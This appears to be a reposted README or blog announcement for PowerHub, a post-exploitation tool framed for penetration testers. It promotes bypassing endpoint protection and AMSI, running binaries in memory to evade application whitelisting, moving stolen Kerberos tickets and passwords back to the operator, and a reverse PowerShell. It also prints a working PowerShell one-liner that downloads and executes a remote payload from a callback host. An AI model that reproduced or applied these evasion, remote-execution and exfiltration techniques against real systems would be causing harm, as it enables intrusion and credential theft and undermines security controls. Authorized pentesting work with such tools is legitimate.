Thursday, 8 August 2019
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PowerHub- A Post Exploitation Suite To Bypass Endpoint Protection

PowerHub- A Post Exploitation Suite To Bypass Endpoint Protection


PowerHub is a convenient post exploitation tool which aids a pentester in transferring files, in particular code which may get flagged by endpoint protection.


During an engagement where you have a test client available, one of the first things you want to do is run PowerSploit. So you need to download the files, messing with endpoint protection, disable the execution policy, etc.

PowerHub provides an (almost) one-click-solution for this. Oh, and you can also run arbitrary binaries (PE and shell code) entirely in-memory using PowerSploit's modules, which is sometimes useful to bypass application whitelisting.

Your loot (Kerberos tickets, passwords, etc.) can be easily transferred back either as a file or a text snippet, via the command line or the web interface. PowerHub also helps with collaboration in case you're a small team.

On top of that, PowerHub comes with a reverse PowerShell, making it suitable for any kind of post-exploitation action.

Here is a simple example (grab information about local groups with PowerView and transfer it back):

PS C:\Users\avollmer> $K=new-object net.webclient;IEX $K.downloadstring('http://192.168.11.2:8000/0');
  _____   _____  _  _  _ _______  ______ _     _ _     _ ______
 |_____] |     | |  |  | |______ |_____/ |_____| |     | |_____]
 |       |_____| |__|__| |______ |    \_ |     | |_____| |_____]
                            written by Adrian Vollmer, 2018-2019
Run 'Help-PowerHub' for help
AmsiScanBuffer patch has been applied.
0
PS C:\Users\avollmer> lhm powerview
[*] /ps1/PowerSploit/Recon/PowerView.ps1 imported.
PS C:\Users\avollmer> Get-LocalGroup | pth -Name groups.json


Installation

PowerHub itself does not need to be installed. Just execute powerhub.py. However, there are a few dependencies. They are listed in the requirements.txt. Install them either via pip3 install --user -r requirements.txt or use a virtual environment:

Run python3 -m venv env to create a virtual environment, then use source env/bin/activate to activate it. Now run pip3 install -r requirements.txt to install the depencendies inside the virtual environment.

Python2 is not supported.

Usage

PowerHub has one mandatory argument: the callback host (can be an IP address). You should also use --auth <user>:<pass>, otherwise, a randomly generated password will be used for basic authentication.

The switch --no-auth disables basic authentication which is not recommended. The callback host name is used by the stager to download the payload. If the callback port or path differ from the default, it can also be changed.

Read ./powerhub.py --help and the Wiki for details.

Download PowerHub

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